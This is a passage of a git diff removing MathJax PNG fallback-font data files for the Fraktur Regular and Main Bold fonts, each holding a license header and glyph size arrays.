-      [3,6,2],[4,7,2],[4,8,2],[5,10,3],[6,11,3],[7,12,3],[8,14,4],[9,17,5],
-      [11,20,6],[13,24,7],[15,28,8],[17,32,9],[21,38,11],[25,44,13]
-    ],
-    0x79: [  // LATIN SMALL LETTER Y
-      [3,5,1],[4,7,2],[5,9,2],[6,10,3],[6,12,3],[8,13,4],[9,15,4],[10,18,5],
-      [12,21,6],[15,26,7],[17,30,9],[21,35,10],[24,41,12],[29,49,14]
-    ],
-    0x7A: [  // LATIN SMALL LETTER Z
-      [4,5,1],[4,6,2],[5,8,2],[5,9,3],[6,11,3],[7,12,4],[8,14,4],[9,16,5],
-      [10,19,6],[12,24,7],[14,28,9],[16,32,10],[19,38,12],[22,45,14]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/BasicLatin.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/unpacked/Main.js
deleted file mode 100644
index 0f4eb3ee..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/unpacked/Main.js
+++ /dev/null
@@ -1,34 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Fraktur": {
-
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/unpacked/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/unpacked/Other.js
deleted file mode 100644
index 73947f4c..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/unpacked/Other.js
+++ /dev/null
@@ -1,45 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/Other.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Fraktur": {
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2018: [  // LEFT SINGLE QUOTATION MARK
-      [2,2,-2],[2,3,-3],[2,3,-4],[2,4,-5],[3,5,-5],[3,5,-7],[4,6,-7],[4,7,-9],
-      [5,8,-11],[6,10,-14],[7,12,-16],[8,14,-18],[9,17,-21],[11,20,-26]
-    ],
-    0x2019: [  // RIGHT SINGLE QUOTATION MARK
-      [2,2,-2],[2,3,-3],[2,3,-4],[2,4,-5],[3,5,-5],[3,5,-7],[4,6,-7],[4,7,-9],
-      [5,8,-11],[6,10,-14],[7,12,-16],[8,14,-18],[10,17,-21],[11,20,-26]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/unpacked/PUA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/unpacked/PUA.js
deleted file mode 100644
index 4fdd5f1f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/unpacked/PUA.js
+++ /dev/null
@@ -1,65 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/PUA.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Fraktur": {
-    0xE300: [  // ??
-      [3,6,1],[4,7,1],[5,8,1],[6,9,1],[6,11,1],[8,13,1],[9,15,1],[10,17,1],
-      [12,20,1],[15,25,2],[17,29,2],[21,34,2],[24,40,2],[29,48,3]
-    ],
-    0xE301: [  // ??
-      [3,6,1],[4,7,1],[5,8,1],[6,9,1],[6,10,1],[8,12,1],[9,13,1],[11,16,1],
-      [12,19,1],[15,22,1],[17,27,2],[21,31,2],[24,37,2],[29,43,2]
-    ],
-    0xE302: [  // ??
-      [3,7,2],[3,8,2],[4,10,3],[4,11,3],[5,13,3],[6,16,4],[7,19,5],[9,21,5],
-      [10,25,6],[12,30,7],[14,36,9],[16,42,10],[19,51,13],[23,60,15]
-    ],
-    0xE303: [  // ??
-      [3,7,2],[3,8,2],[4,10,3],[4,11,3],[5,13,3],[6,16,4],[7,19,5],[8,22,6],
-      [9,25,6],[11,31,8],[13,36,9],[15,43,11],[18,51,13],[21,60,15]
-    ],
-    0xE304: [  // ??
-      [3,6,2],[4,6,2],[5,7,2],[6,9,3],[7,10,3],[8,12,4],[9,15,5],[11,16,5],
-      [13,20,6],[15,24,8],[18,28,9],[21,32,10],[25,39,12],[30,46,15]
-    ],
-    0xE305: [  // ??
-      [2,6,1],[3,7,1],[4,8,1],[4,10,1],[5,11,1],[6,13,1],[7,15,1],[8,17,1],
-      [9,21,1],[11,24,1],[13,28,1],[15,33,1],[18,40,1],[21,48,2]
-    ],
-    0xE306: [  // ??
-      [3,5,1],[3,6,1],[4,7,1],[4,8,1],[5,10,1],[6,11,1],[7,13,1],[9,15,1],
-      [10,18,1],[12,21,1],[14,24,1],[17,28,1],[20,34,1],[23,41,2]
-    ],
-    0xE307: [  // ??
-      [5,5,1],[5,5,1],[5,6,1],[7,7,1],[8,8,1],[9,9,1],[11,11,1],[12,13,1],
-      [15,15,1],[17,17,1],[21,20,1],[24,24,1],[29,29,2],[34,34,2]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/PUA.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Arrows.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Arrows.js
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index f0762380..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Arrows.js
+++ /dev/null
@@ -1,16 +0,0 @@
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- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Arrows.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/CombDiacritMarks.js
deleted file mode 100644
index cb991227..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/CombDiactForSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/CombDiactForSymbols.js
deleted file mode 100644
index cf25bca9..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/CombDiactForSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/CombDiactForSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-bold":{8407:[[4,2,-3],[5,3,-4],[6,3,-5],[7,3,-6],[8,3,-7],[9,5,-8],[11,5,-10],[13,6,-11],[15,6,-14],[17,8,-16],[21,9,-20],[25,11,-23],[29,13,-28],[34,15,-33]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiactForSymbols.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GeneralPunctuation.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GeneralPunctuation.js
deleted file mode 100644
index 5de0b4be..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GeneralPunctuation.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GeneralPunctuation.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GeometricShapes.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GeometricShapes.js
deleted file mode 100644
index cae9fe9f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GeometricShapes.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GeometricShapes.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-bold":{9651:[[7,5,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],[16,12,0],[19,14,0],[23,17,0],[27,20,0],[32,24,0],[38,28,0],[45,34,0],[53,40,0],[63,47,0]],9657:[[4,5,1],[5,6,1],[6,7,1],[7,8,1],[8,9,1],[10,10,1],[11,12,1],[13,14,1],[15,17,2],[18,20,2],[22,24,2],[25,28,2],[30,33,3],[36,39,3]],9661:[[7,6,2],[8,7,2],[10,8,3],[12,9,3],[14,10,3],[16,13,4],[19,14,4],[23,18,6],[27,20,6],[32,25,8],[38,29,9],[45,34,10],[53,40,12],[63,47,14]],9667:[[4,5,1],[5,6,1],[6,7,1],[7,8,1],[8,9,1],[9,10,1],[11,12,1],[13,14,1],[15,17,2],[18,20,2],[22,24,2],[26,28,2],[30,33,3],[36,39,3]],9711:[[8,7,2],[9,8,2],[11,9,2],[13,12,3],[15,13,3],[18,16,4],[22,19,5],[26,22,5],[30,26,6],[36,31,7],[43,37,9],[51,44,10],[60,52,12],[72,61,14]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/GeometricShapes.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GreekAndCoptic.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GreekAndCoptic.js
deleted file mode 100644
index 00d39859..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GreekAndCoptic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GreekAndCoptic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-bold":{915:[[5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],[18,20,0],[22,23,0],[26,27,0],[30,32,0],[36,38,0],[43,46,0]],916:[[7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],[25,20,0],[30,23,0],[36,28,0],[42,32,0],[50,38,0],[60,46,0]],920:[[6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],[23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]],923:[[6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],[22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]],926:[[5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],[20,20,0],[24,23,0],[28,27,0],[34,31,0],[40,37,0],[48,45,0]],928:[[6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],[24,20,0],[29,23,0],[34,27,0],[40,32,0],[48,38,0],[57,46,0]],931:[[6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],[22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]],933:[[6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],[23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]],934:[[6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],[22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]],936:[[6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],[23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]],937:[[6,5,0],[7,6,0],[8,8,0],[10,8,0],[11,9,0],[13,12,0],[16,14,0],[18,17,0],[22,20,0],[26,23,0],[31,28,0],[36,32,0],[43,38,0],[51,46,0]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/GreekAndCoptic.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Latin1Supplement.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Latin1Supplement.js
deleted file mode 100644
index d62c08f8..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Latin1Supplement.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Latin1Supplement.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-bold":{160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],168:[[4,2,-3],[4,2,-4],[5,2,-6],[6,2,-6],[7,3,-6],[8,3,-9],[10,4,-10],[12,4,-13],[14,5,-15],[16,6,-17],[19,7,-21],[23,8,-24],[27,9,-29],[32,11,-35]],172:[[5,3,0],[6,3,-1],[7,4,0],[9,4,0],[10,5,0],[12,6,-1],[14,8,0],[17,9,-1],[20,9,-2],[24,11,-2],[28,13,-2],[33,15,-2],[39,18,-3],[47,22,-4]],175:[[4,1,-3],[5,1,-5],[5,1,-6],[6,1,-6],[7,1,-7],[9,2,-9],[10,3,-10],[12,2,-13],[14,2,-16],[17,3,-18],[20,3,-22],[23,4,-25],[28,4,-30],[33,5,-36]],176:[[3,1,-4],[4,2,-4],[5,2,-6],[5,2,-6],[6,2,-7],[7,3,-9],[9,3,-11],[10,4,-13],[12,6,-14],[14,6,-17],[17,7,-21],[20,8,-24],[23,9,-29],[28,11,-35]],177:[[6,6,1],[7,8,1],[9,9,1],[10,9,1],[12,11,1],[14,15,1],[17,16,2],[20,20,2],[23,22,1],[28,26,1],[33,31,1],[39,36,2],[46,42,2],[55,51,2]],180:[[4,2,-3],[4,2,-4],[5,3,-5],[6,3,-5],[7,3,-6],[8,4,-8],[9,5,-9],[11,5,-12],[13,6,-14],[16,7,-16],[18,9,-19],[22,10,-23],[26,12,-27],[31,14,-33]],215:[[6,4,0],[7,5,0],[8,7,0],[9,7,0],[11,8,0],[13,10,0],[15,12,0],[17,14,1],[21,17,1],[24,19,1],[29,23,1],[34,26,1],[41,31,2],[48,37,2]],247:[[6,6,1],[7,6,1],[9,8,1],[10,8,1],[12,9,1],[14,12,2],[17,14,2],[20,17,2],[23,20,3],[28,23,3],[33,28,4],[39,32,4],[46,39,5],[55,46,6]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Latin1Supplement.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LatinExtendedA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LatinExtendedA.js
deleted file mode 100644
index c78becff..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LatinExtendedA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LatinExtendedA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-bold":{305:[[3,3,0],[4,4,0],[4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,11,0],[11,13,0],[12,15,0],[15,18,0],[17,21,0],[21,25,0],[24,30,0]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedA.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LatinExtendedB.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LatinExtendedB.js
deleted file mode 100644
index d5a51179..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LatinExtendedB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LatinExtendedB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-bold":{567:[[4,4,1],[5,6,2],[6,7,2],[6,7,2],[7,9,3],[8,11,3],[10,13,4],[11,16,5],[13,19,6],[15,21,6],[18,26,8],[21,30,9],[25,36,11],[29,43,13]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedB.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LetterlikeSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LetterlikeSymbols.js
deleted file mode 100644
index 4a7893c3..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LetterlikeSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LetterlikeSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-bold":{8463:[[5,5,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[13,15,1],[15,17,1],[18,20,1],[22,24,1],[25,28,1],[30,34,1],[36,39,1],[42,47,1]],8465:[[6,5,0],[7,6,0],[8,7,0],[10,9,0],[12,10,0],[14,12,0],[16,14,0],[19,17,0],[23,21,1],[27,25,1],[32,29,1],[38,34,1],[45,40,1],[53,48,1]],8467:[[3,5,0],[4,6,0],[5,7,0],[6,9,0],[7,11,1],[8,13,1],[9,15,1],[11,18,1],[13,21,1],[15,25,1],[18,29,1],[21,34,1],[25,41,2],[30,49,2]],8472:[[5,6,2],[6,6,2],[8,7,2],[9,9,3],[11,10,3],[13,12,4],[14,14,5],[17,16,5],[21,19,6],[24,23,7],[29,27,9],[34,32,10],[41,38,12],[48,45,14]],8476:[[6,5,0],[7,6,0],[8,7,0],[10,10,1],[12,11,1],[14,13,1],[17,15,1],[20,18,1],[23,21,1],[28,25,1],[32,29,1],[39,34,1],[46,42,2],[55,49,2]],8501:[[5,5,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[13,14,0],[15,17,0],[18,20,0],[21,23,0],[25,28,0],[30,33,0],[36,39,0],[42,46,0]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/LetterlikeSymbols.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Main.js
deleted file mode 100644
index 513adfaa..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MathOperators.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MathOperators.js
deleted file mode 100644
index f5dc9ef1..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscMathSymbolsA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscMathSymbolsA.js
deleted file mode 100644
index a3afc222..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscMathSymbolsA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscMathSymbolsA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Main-bold":{10216:[[3,8,2],[4,10,3],[4,11,3],[5,12,3],[6,15,4],[7,18,5],[8,20,5],[9,24,6],[11,28,7],[13,34,9],[15,40,10],[18,47,12],[22,56,14],[25,67,17]],10217:[[2,8,2],[3,10,3],[3,11,3],[4,12,3],[5,15,4],[6,18,5],[7,20,5],[8,24,6],[9,28,7],[11,34,9],[13,40,10],[15,47,12],[18,56,14],[21,67,17]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscMathSymbolsA.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscSymbols.js
deleted file mode 100644
index 0e945006..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscTechnical.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscTechnical.js
deleted file mode 100644
index 87a1b207..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscTechnical.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MiscTechnical.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
